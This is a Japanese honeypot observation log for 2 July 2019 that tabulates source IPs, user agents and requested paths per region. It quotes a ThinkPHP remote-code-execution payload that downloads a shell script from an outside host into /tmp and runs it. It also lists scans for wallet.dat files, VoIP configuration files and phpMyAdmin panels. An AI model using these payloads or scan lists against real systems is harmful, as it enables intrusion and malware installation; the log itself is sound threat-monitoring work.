ハニーポット(仮) 観測記録 2019/07/02分です。
AP,USにおいて
Polycomの設定ファイルを狙うアクセスを確認しました。
送信元IPアドレスは同一のものでした。
また、ThinkPHPの脆弱性を狙うアクセスで、以下のような行為を観測しました。
wget http://133[.]32[.]201[.]14/phpmyadmin/a_thk.sh -O /tmp/a_thk;
chmod 0777 /tmp/a_thk;
/tmp/a_thk;
wget先は同一で、リクエストの送信元はChinaでした。
APでwallet.datへのスキャン行為を観測しました。
アクセス数推移
AP:総アクセス数:127 (前日比:+66)
US:総アクセス数:156 (前日比:+42)
EU:総アクセス数:4 (前日比:-119)
都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。
Region:AP
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
4 | 120.237.208.190 | China |
4 | 122.193.16.21 | China |
4 | 165.22.201.178 | United States |
13 | 185.234.218.18 | Ireland |
2 | 185.53.88.37 | Estonia |
3 | 198.167.223.52 | St Kitts and Nevis |
1 | 34.212.139.158 | United States |
1 | 37.238.128.77 | Iraq |
4 | 39.105.181.119 | China |
1 | 47.93.112.231 | China |
2 | 50.248.3.67 | United States |
1 | 5.188.210.101 | Russia |
1 | 61.219.11.153 | Taiwan |
4 | 61.239.76.145 | Hong Kong |
18 | 62.173.138.250 | Russia |
18 | 62.173.139.57 | Russia |
18 | 62.173.154.18 | Russia |
1 | 66.249.71.121 | United States |
4 | 77.247.110.219 | Netherlands |
2 | 81.22.45.124 | Russia |
1 | 82.209.201.182 | Belarus |
20 | 89.248.168.79 | Netherlands |
UserAgent一覧
件数 | UserAgent |
---|---|
11 | - |
4 | Go-http-client/1.1 |
1 | Mozilla/5.0 |
1 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
1 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) |
1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 |
4 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36 |
13 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 |
1 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 |
2 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 |
3 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 |
12 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
54 | python-requests/2.7.0 CPython/2.7.14 Windows/2008ServerR2 |
18 | python-requests/2.7.0 CPython/2.7.14 Windows/2012ServerR2 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | - | ||
1 | GET | /000000000000.cfg | HTTP/1.1 |
1 | GET | /06-2019/ | HTTP/1.1 |
1 | GET | /6-2019/ | HTTP/1.1 |
1 | GET | /aastra/ | HTTP/1.1 |
3 | GET | /acadmin.php | HTTP/1.1 |
1 | GET | /algo/ | HTTP/1.1 |
1 | GET | /app/provision/ | HTTP/1.1 |
1 | GET | /atacom/ | HTTP/1.1 |
1 | GET | /ata/ | HTTP/1.1 |
1 | GET | /backup/ | HTTP/1.1 |
1 | GET | /backupsip/ | HTTP/1.1 |
1 | GET | /backup/wallet.dat | HTTP/1.1 |
1 | GET | /baFirmware/ | HTTP/1.1 |
1 | GET | /.bitcoin/wallet.dat | HTTP/1.1 |
1 | GET | /bitcoin/wallet.dat | HTTP/1.1 |
1 | GET | /.bitcoin/wallet/wallet.dat | HTTP/1.1 |
1 | GET | /bitcoin/wallet/wallet.dat | HTTP/1.1 |
1 | GET | /btc/wallet.dat | HTTP/1.1 |
1 | GET | /bub2/ | HTTP/1.1 |
1 | GET | /bub/ | HTTP/1.1 |
1 | GET | /bw/ | HTTP/1.1 |
2 | GET | /CFIDE/administrator/ | HTTP/1.1 |
1 | GET | /cisco/ | HTTP/1.1 |
1 | GET | /coin/wallet.dat | HTTP/1.1 |
1 | GET | /conf/ | HTTP/1.1 |
1 | GET | /config/ | HTTP/1.1 |
1 | GET | /configs/ | HTTP/1.1 |
1 | GET | /configuration/ | HTTP/1.1 |
1 | GET | /core/wallet.dat | HTTP/1.1 |
1 | GET | /crypto/wallet.dat | HTTP/1.1 |
1 | GET | /cs/ | HTTP/1.1 |
1 | GET | /devicecfg/ | HTTP/1.1 |
1 | GET | /digium/ | HTTP/1.1 |
1 | GET | /dms/ | HTTP/1.1 |
1 | GET | /echo.php | HTTP/1.1 |
1 | GET | /escene/ | HTTP/1.1 |
1 | GET | /etc/ | HTTP/1.1 |
1 | GET | /exec/ | HTTP/1.1 |
1 | GET | /extensions/ | HTTP/1.1 |
1 | GET | /fanvil/ | HTTP/1.1 |
2 | GET | /fax/ | HTTP/1.1 |
1 | GET | /fifo/ | HTTP/1.1 |
1 | GET | /firmware/ | HTTP/1.1 |
1 | GET | /fusionpbx/ | HTTP/1.1 |
1 | GET | /fw/ | HTTP/1.1 |
1 | GET | /gateways/ | HTTP/1.1 |
1 | GET | /grandstream/ | HTTP/1.1 |
1 | GET | /gs/ | HTTP/1.1 |
1 | GET | /gswave/ | HTTP/1.1 |
1 | GET | /hidden/wallet.dat | HTTP/1.1 |
1 | GET | /htek/ | HTTP/1.1 |
1 | GET | // | HTTP/1.1 |
1 | GET | /ims/ | HTTP/1.1 |
1 | GET | /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1]=wget%20http://133[.]32[.]201[.]14/phpmyadmin/a_thk.sh%20-O%20/tmp/a_thk;%20chmod%200777%20/tmp/a_thk;%20/tmp/a_thk; | HTTP/1.1 |
1 | GET | /line/ | HTTP/1.1 |
1 | GET | /linksys/ | HTTP/1.1 |
1 | GET | /manager/html | HTTP/1.1 |
1 | GET | /mitel/ | HTTP/1.1 |
1 | GET | /mysql/admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/dbadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/mysqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/sqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /node/wallet.dat | HTTP/1.1 |
1 | GET | /obihai/ | HTTP/1.1 |
1 | GET | /panasonic/ | HTTP/1.1 |
1 | GET | /phone-backup/ | HTTP/1.1 |
1 | GET | /phone/ | HTTP/1.1 |
1 | GET | /phones/ | HTTP/1.1 |
1 | GET | /polycom/000000000000.cfg | HTTP/1.1 |
1 | GET | /polycom-backup/ | HTTP/1.1 |
1 | GET | /polycomftp/ | HTTP/1.1 |
1 | GET | /provisioner/ | HTTP/1.1 |
1 | GET | /provision/ | HTTP/1.1 |
1 | GET | /provisioning/ | HTTP/1.1 |
1 | GET | /ps/ | HTTP/1.1 |
1 | GET | /reg/ | HTTP/1.1 |
1 | GET | /robots.txt | HTTP/1.1 |
1 | GET | /sangoma/ | HTTP/1.1 |
1 | GET | /sip.conf | HTTP/1.1 |
1 | GET | /sip.config | HTTP/1.1 |
1 | GET | /sip/ | HTTP/1.1 |
1 | GET | /sipphone/ | HTTP/1.1 |
1 | GET | /smart/ | HTTP/1.1 |
1 | GET | /smarty/ | HTTP/1.1 |
1 | GET | /snom/ | HTTP/1.1 |
1 | GET | /spa-backup/ | HTTP/1.1 |
1 | GET | /spa/ | HTTP/1.1 |
1 | GET | /spectralink/ | HTTP/1.1 |
4 | GET | /TP/index.php | HTTP/1.1 |
4 | GET | /TP/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 | HTTP/1.1 |
4 | GET | /TP/public/index.php | HTTP/1.1 |
1 | GET | /Trio/ | HTTP/1.1 |
1 | GET | /Trunks/ | HTTP/1.1 |
1 | GET | /voice/ | HTTP/1.1 |
1 | GET | /voip/ | HTTP/1.1 |
1 | GET | /wallet.dat | HTTP/1.1 |
1 | GET | /wallet/wallet.dat | HTTP/1.1 |
1 | GET | /webdav/ | HTTP/1.1 |
1 | GET | /yealink/ | HTTP/1.1 |
1 | GET | /yeastar/ | HTTP/1.1 |
3 | HEAD | /robots.txt | HTTP/1.0 |
3 | HEAD | /robots.txt | HTTP/1.1 |
1 | OPTIONS | / | HTTP/1.1 |
4 | POST | /TP/index.php?s=captcha | HTTP/1.1 |
2 | \x03 |
Region:US
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 117.3.174.48 | Vietnam |
1 | 119.23.150.111 | China |
1 | 122.116.248.68 | Taiwan |
39 | 187.233.17.25 | Mexico |
1 | 198.167.223.52 | St Kitts and Nevis |
1 | 5.188.210.101 | Russia |
1 | 61.219.11.153 | Taiwan |
108 | 78.88.65.208 | Poland |
1 | 82.209.201.182 | Belarus |
2 | 89.248.168.79 | Netherlands |
UserAgent一覧
件数 | UserAgent |
---|---|
3 | - |
1 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 |
147 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 |
2 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 |
1 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | - | ||
1 | GET | /000000000000.cfg | HTTP/1.1 |
2 | GET | /2phpmyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /acadmin.php | HTTP/1.1 |
2 | GET | /admin/db/index.php?lang=en | HTTP/1.1 |
2 | GET | /admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/db/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/phpmyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/phpMyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/pma/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/PMA/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/web/index.php?lang=en | HTTP/1.1 |
2 | GET | /admin/phpmyadmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /admin/phpMyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/pMA/index.php?lang=en | HTTP/1.1 |
2 | GET | /admin/sqladmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /admin/sysadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/web/index.php?lang=en | HTTP/1.1 |
2 | GET | /database/index.php?lang=en | HTTP/1.1 |
2 | GET | /dbadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/db-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/dbadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/dbweb/index.php?lang=en | HTTP/1.1 |
2 | GET | /db/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/myadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/phpmyadmin3/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/phpMyAdmin-3/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/phpMyAdmin3/index.php?lang=en | HTTP/1.1 |
2 | GET | /db/phpmyadmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /db/phpMyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/webadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/webdb/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/websql/index.php?lang=en | HTTP/1.1 |
1 | GET | http://5[.]188[.]210[.]101/echo.php | HTTP/1.1 |
1 | GET | /index.php?lang=en | HTTP/1.1 |
1 | GET | /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20http://133[.]32[.]201[.]14/phpmyadmin/a_thk.sh%20-O%20/tmp/a_thk;%20chmod%200777%20/tmp/a_thk;%20/tmp/a_thk; | HTTP/1.1 |
2 | GET | /Login.htm | HTTP/1.1 |
1 | GET | /manager/html | HTTP/1.1 |
2 | GET | /myadmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /MyAdmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /mysql-admin/index.php?lang=en | HTTP/1.1 |
2 | GET | /mysql/admin/index.php?lang=en | HTTP/1.1 |
2 | GET | /mysqladmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /mysql/dbadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/db/index.php?lang=en | HTTP/1.1 |
2 | GET | /mysql/index.php?lang=en | HTTP/1.1 |
2 | GET | /mysqlmanager/index.php?lang=en | HTTP/1.1 |
2 | GET | /mysql/mysqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/pma/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/pMA/index.php?lang=en | HTTP/1.1 |
2 | GET | /mysql/sqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/web/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2011/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2012/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2013/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2014/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2015/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2016/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2017/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2018/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2019/index.php?lang=en | HTTP/1.1 |
2 | GET | /phpmyadmin2/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyAdmin2/index.php?lang=en | HTTP/1.1 |
2 | GET | /phpmyadmin3/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyAdmin-3/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyAdmin3/index.php?lang=en | HTTP/1.1 |
2 | GET | /phpmyadmin4/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyAdmin4/index.php?lang=en | HTTP/1.1 |
1 | GET | /php-my-admin/index.php?lang=en | HTTP/1.1 |
2 | GET | /php-myadmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /phpmy-admin/index.php?lang=en | HTTP/1.1 |
2 | GET | /phpmyadmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /phpmyAdmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /phpMyadmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /phpMyAdmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /phpmy/index.php?lang=en | HTTP/1.1 |
2 | GET | /phppma/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2011/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2011/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2012/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2012/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2013/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2013/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2014/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2014/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2015/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2015/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2016/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2016/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2017/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2017/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2018/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2018/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2019/index.php?lang=en | HTTP/1.1 |
2 | GET | /pma/index.php?lang=en | HTTP/1.1 |
2 | GET | /PMA/index.php?lang=en | HTTP/1.1 |
1 | GET | /polycom/000000000000.cfg | HTTP/1.1 |
2 | GET | /program/index.php?lang=en | HTTP/1.1 |
2 | GET | /shopdb/index.php?lang=en | HTTP/1.1 |
2 | GET | /sqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/myadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpmyadmin2/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpMyAdmin2/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/php-myadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpmy-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpMyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/sql-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/sqladmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/sql/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/sqlweb/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/webadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/webdb/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/websql/index.php?lang=en | HTTP/1.1 |
2 | GET | /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en | HTTP/1.1 |
Region:EU
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 198.167.223.52 | St Kitts and Nevis |
1 | 46.171.68.78 | Poland |
1 | 61.219.11.153 | Taiwan |
1 | 95.65.74.145 | Republic of Moldova |
UserAgent一覧
件数 | UserAgent |
---|---|
1 | - |
1 | curl/7.64.0 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | - | ||
1 | GET | /acadmin.php | HTTP/1.1 |
1 | GET | /Main_Login.asp | HTTP/1.1 |
1 | GET | /mysql/admin/index.php?lang=en | HTTP/1.1 |